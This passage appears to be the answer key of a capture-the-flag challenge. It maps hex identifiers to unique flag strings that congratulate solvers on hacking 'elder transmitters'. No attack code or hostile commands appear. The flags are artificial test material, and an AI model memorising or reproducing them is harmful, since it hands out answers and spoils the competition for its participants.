'adbf510d1910460c61848b7734c55436': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_GhqZ4WMQ46}',
'f3d8f573a26295dc7111fa45db8f31fc': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_DLbN7d9vw8}',
'f075d527aabd712ceebad97435485c40': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_fP6zvlUTpu}',
'5b6edb02886551c7c4239313dfc12620': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_Ti1sK3yomL}',
'2479cb754191c6ef00c211fa04bf5335': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_bgXDOrGE8A}',
'ed641d56419a5b8a73ff55435f7ff8b6': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_ojzaJcLvvF}',
'c706c3dbddbb1d0b439d248f420964d8': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_xkOoGTt4m8}',
'debb0611610330964c4a027d5c736358': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_UgdaOf8g6W}',
'f24868ded91e14549727db0acd47c6f7': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_HVQcsVsyle}',
'0ef43da779456bdc91600fc250f57907': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_vfQPXigmTi}',
'b7ea1a340fcde9e7684920d9612dfb73': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_jm8giWjsoE}',
'53a6cbb82f75e86a6c281b8d62fb9e10': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_cgozLq6c9v}',
'a752541605c5c90c7d069dbb166b7a62': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_lNknRQFlek}',
'2daa5d45275d180507ac4547ca407b1e': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_VEoQ9fKF9t}',
'e513e8b293f2ba753cbede47a6b3598b': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_xqujfgB92E}',
'dfdaab90c09971209bd5bffeb477da44': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_fRtoTDFhFl}',
'b9502f7f6d4a714f11ee7219aa7bfb38': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_kVVDxxcBOx}',
'd36de524b02824b0916920aa37453079': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_hq3E8jXpx6}',
'2110e7eb02d8a2adcabcd489d439f4bf': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_EGP8UWXtjG}',
'fc1a0a47e941aa50a2d5908be73df79b': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_IThBiGaCMr}',
'9ff4f0e402df9a1cae1ca24b4d21bb0e': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_XByO6aQ6SN}',
'44661aeba1ad0e66aae6c06dc402d9c9': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_7mDwM1QJ0z}',
'dbd1d12e8313bf085105721f47c6b449': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_BIF805NIv5}',
'17dbaf950b3f502381b39af4382bad91': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_BYYIyaRnSk}',
'5e473feaa225abd5400a241e9526fa73': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_STDdOKEpBc}',
'de5c0784d6efe3fcfd6aa18b225573a1': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_OIgu1ioFb7}',
'e36404b23e4d3840e41fe2a76f1116d3': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_dgqpSfOQgh}',
'68220d0889ac5aaf3ffa3a4c35f969ed': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_3PfR4kRmr2}',
'370bb9b78effa0a6f9f5aa41dc869164': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_P7yuKHaWQm}',
'7bd3e77e6c1ef9707e69e9cad2734123': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_5kdi8az8Oz}',
'43222e731909e9fe0be3dc8aab1c1bcb': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_UzfaTOMRIG}',
'4cd3747e4f11e196f16b3e083b373718': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_1lszmwnkNh}',
'dc615370e3aa3c933c03e44e60124f31': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_Lehbr3K01l}',
'd8319047e5008377801aa9d9bc8fd9c2': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_r1205qQymu}',
'd380b05b6f52de832f5b1e2fd5551404': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_pAirHar2MR}',
'e4f7aa235a195abd7697acc3a3f8004b': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_7IMjFTCsxo}',
'158f184f59c49f18b78aaf27eba9dff4': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_3m8n71yFrK}',
'6050281149f37366f1de479242afc1c4': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_37UsJH40ix}',
'b242c5789e67836ff18511b34c5cb15e': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_AKrAzNpttl}',
'84bbafc65f6111f47c473e2797278a73': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_ia3KymEaqY}',
'969da8fb29866e1dbc1157bf87f7c3c3': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_vHP8vtoi66}',
'139c31071dcbdf112f69ae7e414ca236': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_mT6vq9YeWm}',
'473b2c679859ea9be6707f9923e9d2a0': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_u2L2lwkZwm}',
'a36568a5a1f308e9106936e364c2f1c9': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_HGYZYk7SWk}',
'd318400ce2f71be16ba80a6092bd64b5': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_PnlLnO3TmV}',
'ba477c919dfb5f7f2f0c069a3a0a3e80': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_ZZ5GeVBryy}',
'6c22f837eab2c0853379f3f18ddbce33': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_lXqk3fD1j9}',
'afb2d6ad36bc9c944323acabe3535c1e': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_8e5qnLFbLD}',
'4e5cba60be3e8f24150fbdac4ec6d26a': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_PYwo7SD7sD}',
'b5dbf0a119a568a7caf8ce1763e87bd3': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_JmmZEiXFpJ}',
'72e9b014fbbf9580628791a822c848d8': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_4aMgMYvri9}',
'341bb67e8b023194ef53ae8c2f7ec4df': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_eB1Ddbcgri}',
'dbe0a478cdbd566ca9bbda043b86adc4': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_yzcQwC7YEj}',
'e0b5938b09ee46e7dabd4d12f66925f7': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_nNUxjlqoHC}',
'16110bd2ac31045b04e26fc3df29ee90': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_9NkplrWwHy}',
'36efbe534d306c7276b34e87bb0b9d97': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_rUjunDdIEZ}',
'c43592c76d47ec6e0f6ef6c40914099b': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_UruWaBI57e}',
'7462e768713cb09d2874be46bb737df8': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_ysCa3Mmw6z}',
'ae07543f0c8446ae8b5f57c4e72631bb': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_nrd0X8fdDs}',
'398bb854cecd953068c0923efaea59a3': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_6oKIu3VdLw}',
'c1ca491e84ef727151f99ec88b510383': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_LwV9Ric7rO}',
'1b36f89f26db4d6ac6c5335b9441cac3': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_owcdDOo6kC}',
'3ee02fbb0d7cf9665c3fb024912c5d19': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_UUWRaB6Bvm}',
'9eff0328ffebc0589c9d29621b2cf7a2': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_nCqWEeWR6T}',
'828e85e8ee78e6517d0109bb0823145a': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_ZP9KCMEBp3}',
'1c64a9450f2e2483d406a6e63489888b': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_1FzhfvfVim}',
'564aa15c9a528305debf2c4298238ae3': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_rzDsRkZ8LM}',
'a13b7cff4af84696a8e7b9265d622374': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_uYEqHbTLSE}',
'03e7bf0865f9a5edc70f735891eecba7': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_pM9ejmENwH}',
'ba4ada742ef63e579956321b2b320fab': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_1qXZgdsVZb}',
'4b469faa9387a3cd70025a57103f3009': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_Iq5BUiSaaj}',
'aea46142a66825366f493f3630566a42': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_N2JJpEEjZT}',
'52630d536dc2374569b1c9963afca1b4': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_ekumNQMekb}',
'eb200a7bdc3d4b70894fcd0b4ad5709e': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_HT7GpNRkru}',
'20a6811b1b447af8402657a2c5c96467': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_CTj9Q3pTyh}',
'3ce4cad65bc2204fc9fd2cee29f480e8': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_y7wrr6KfFD}',
'f8401448388323ed58119ea77dddcbe0': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_Q9PdATcTNC}',
'f0285f75e8d40ba9734a4e5174f7476a': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_EjSTA6Xv2w}',
'cf80b6a7a824ac252342c98c9a556c7b': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_v81tsN9Z3t}',
'be03c7a10a7f2fc2424e57a248f1e1b9': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_JAWirT6rGL}',
'ae46a7f51de8554c68506c91695db4db': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_U6k5lVWC1L}',
'8d4a1f49223e51d5fa9f31f844592b57': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_kAsOhh18TP}',
'9131acc6d62649b372966b7e6df44118': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_oUh51vZ1RR}',
'926b6e2ede2c22ff7c78227a5f76972e': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_hGWjYWmTVL}',
'a935b002ac5fa9a15d7b150588b89050': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_pajFapEH3l}',
'55992a223c9d69545958b7864f401532': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_FeA6fgbTS0}',
'12878ca3fde54ae75456dcca1e5982fd': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_rtsZf4xgYR}',
'edeb9603b060389a55a251f4f61d975c': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_M6Avw9ebNs}',
'e3caf98543c1ddb057be5144b5c29039': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_yGY7Va42se}',
'eb9e88938b5f988b50c72401420287d4': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_lsdKHiBL9n}',
'9e4c8188521378534be923989f9900cc': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_VDFiXSQkir}',
'8a878b14f882db723edc2dc28229bd7e': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_Ly5Q4QnCeA}',
'a0b48f3ebbaa6ce43049d9fe470133c3': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_3JLelKyOER}',
'5a7c73e09e840cb7198d987382c1e837': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_A0rFbsT6SK}',
'5b1ab35a3421f8c10e1fd0a40fcfe29d': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_BPlZSjxrJd}',
'91cc18d2f4364e7cdc81407b55591f5b': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_0eG12LvTA9}',
'c7cf551a9160dd0c09f3dc2490e6b65a': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_B8MDsZFnFP}',
'0488c36ce4cd8f110901d243c2c9dc97': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_N9QDlFOaKZ}',
'b228a1c4e3d81c886c528dfc7f937169': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_rFYRekeVNb}',
'555204a286ae9747b1095740c701d6b7': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_qArv5oJdBw}',
'f5a05a53e7bc19d68d228fa306bd5756': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_xpzmn6Hfxh}',
'ddc771e197941db1b168b58dd0b888dc': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_76d4oxyV7i}',
'90c8d9934670dbf6c2dacfac4e8f21db': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_Fl0jGMFwsn}',
'58b9a899438476597765344656994b01': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_l4KEAodYTf}',
'bf87686e75664c86669e901335d34df6': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_X3apoqNS91}',
'ed66c1ee7ae311644ced87e6f58fc6a0': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_BW026FZpew}',
'504bb30eb89c19b410061b86e8485887': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_wj4nu6k17k}',
'643957548f2fcd76be4824af478213d9': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_c9k65l4D1y}',
'b26cc540b473fce56f09f0a25ed8b9e0': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_3IlizYjxLv}',
'573aec569ea9647ceaa2874ea3b8db54': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_xqafOZCiup}',
'f2da0c348e2de156ef91e9031e290347': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_h3F1VI8eFO}',
'431de67af74cb0c268bfdff315c6fd91': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_Gnzg154F8Q}',
'415f834a53b086e554c1684575bcee88': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_konfc38s2G}',
'fc21d597bd4a24ff2a27adc57fa1dae5': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_sML6JsfMV7}',
'983ef7e9db31503cf2b327b5dee5f167': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_5FayafRAMW}',
'83f56973cd345894d62d8e0a2ea4d2ac': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_fCqcB58t7e}',
'e1f361aeaade645862a2558885b4f419': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_VQJDtVfYvu}',
'159a8a87a78998fb19c703bc67559523': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_42nxTRR8Oi}',
'5dc59a786bab0760fbfb6a2d52e86a5f': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_lPAhgFvJL3}',
'885c86861522554fb105767db97ce63b': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_jMOKB7OvQM}',
'07256e146ba6de609762baa9f0ec5da7': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_g9gKey377U}',
'61af3297fd76cb21e1c2d6930a73ec71': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_aYm0AjE6Rs}',
'4b24eac069d1900ed3ae9d6bb0ba87fa': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_POeyLktOcW}',
'f8097f96acde37e42aece7db014ffd84': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_H3uppXMYf3}',
'8f59a0a4471f912099fe62e3df32c087': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_To7U5qQ0Bw}',
'6a54b19c3aea724daa740167bfa5e399': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_PM9jWinDAW}',
'6bf4d563b1a06cbe4d0355e30524edea': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_zarfVlhojZ}',
'4a2b2e9d41e85baad866a859361cddab': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_APUh8t00Pu}',
'e0c7a32cf35972e8d50cd4ba5bfc351f': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_LNTZQxpmPu}',
'5928323738cbcc394fdcad08dce5ec1d': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_j2izMnVArW}',
'3bb4d2f3fc33faeea5af20d0804cfae7': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_8hSYRljIMl}',
'bf24b6c7d3c8b0da6d4d62009a6cd462': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_X7UaqPuRvf}',
'698e241c45963ec78b385a6629a054bc': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_Dd1wKqJhfL}',
'a70819635ed92595dd3a7c57ff6547f5': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_bcrNbqt1zZ}',
'697978cdde446939cdf1dd8c922a52ff': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_fKWMudXkMO}',
'3ac3c686c94547d3c0161fcdc401a808': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_apjRa1HwK0}',
'90856327b709e791fa75aa55af90c9cb': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_y7vQ1hm0Iu}',
'3cc91e5ea421aa02de78d9a9f6ff5a23': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_Tl8Sf4pxnQ}',
'6a7b2f54ddc8dda4311f4b1894432db6': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_g7qqnYPPM4}',
'f434825fca33f7d6bf397d1456c8da86': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_mdanSJ7jrs}',
'9b6122f6df5005b71e887ee35555625f': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_THuRDxczGA}',
'f26ca28ce566cffd9b6acf8739a23078': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_qSYXgOpW23}',
'4e815ae123474da5b077296873e5119e': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_YidGSrRjBm}',
'15640287cf4535286bd126959ef4d2af': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_PNRqSjyjKL}',
'09cabf107df5fd61da3527e30c700275': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_bNVITr6m7v}',
'a9e9d73e75b793272820c09036579a27': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_wdDJNhGgzK}',
'19a6fc50729681a5fc99bae37c73c7a4': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_OjsYjMjZn6}',
'd95aab38885664084cc24165632d8e46': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_jtKvCt5zU2}',
'716fd803a99c15dba1b3e979586ac69a': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_jozZgJ3FAB}',
'2f98b1396fecd1df34cc6adb9af36ff4': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_bfcTLFsLEM}',
'55da4c10ed16f7c2c8ca0eda0f759287': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_kUrCmJi21w}',
'6c783aa0466f4c3e4eb7fe62e5355bbc': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_iTbt5PuDEw}',
'67afc8c8f6400a3b181d1ada05d50183': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_rov0Giiyof}',
'3699d3c9f0b4d0d1ffdce2d239ae5d60': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_K1IhLqy5vc}',
'ce6a44af30e4642d221e8e338a6fc827': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_pLipF4NwpQ}',
'b642adad2e6411d474e3a468a37c1dfc': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_BTHUczZ1Ax}',
'd24694d7e71cbddd7ae1b5a58b6da31a': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_8phjHd31gC}',
'f897e8727b970dc465d3101f3360e92f': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_hzy8wxMWp6}',
'745010131262e803ebea4bc217977ce2': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_WjfgUPdx2a}',
'e3ef10d43183b382c67d068f91b86360': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_J4LybN9Agv}',
'050610d4492319d7ebe29f87c36819c1': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_B74XbhlfJz}',
'3a23a284df3f90a30e5e8346c921bb2d': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_OPv1l67UL8}',
'0bee3cf591ddfb7e0f89d61202619495': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_seKZ8DzDxw}',
'45fbd2ed20436fb9172c48f48704808b': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_rElfaDVti5}',
'5e015754b0e9af206788b95e9c2c7c68': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_UoUNNThHUP}',
'bbd17cbf6c8d1e41ae64260767523934': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_MWPdvw5V3X}',
'cd78267577301c9b990cbd30719e0966': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_uFGsd92eMX}',
'7d6a270d6e9f8f336c4d13af9ea15865': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_O5OFreiCad}',
'd288ae5ddcc9c7d48ecefbb1c5fd360f': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_SIromnzEC9}',
'5adcb4410bb3e05011506ed96756f281': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_otHq6LO8yd}',
'37b6bf65ef9e0d883805c6f5abc18dd0': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_eaCY8RLcLt}',
'68378c6bc378bd01afc61f839a47ce97': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_eri9Duh6qR}',
'ba67911597f613a6a1047070f35002c0': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_kNk1NWF71d}',
'e0c15e2dd02ca80d0771fb3e97c64a35': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_G4PyMxEpXD}',
'0e9f21392c1dacb27b81f5897bc950f0': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_Q2B8quLRrB}',
'0345b343522e471aa7f0f64d1b1abd56': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_jDAjussAZN}',
'2a1efec1a6a43e62ebdfbaae41857169': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_hLDYQcGnJh}',
'f11dfc0bebe0c58a3cbb07c687064d9e': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_GC1MKY5tmM}',
'a244accbd087c28bfac6b971938286f9': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_qCBTvFqhqp}',
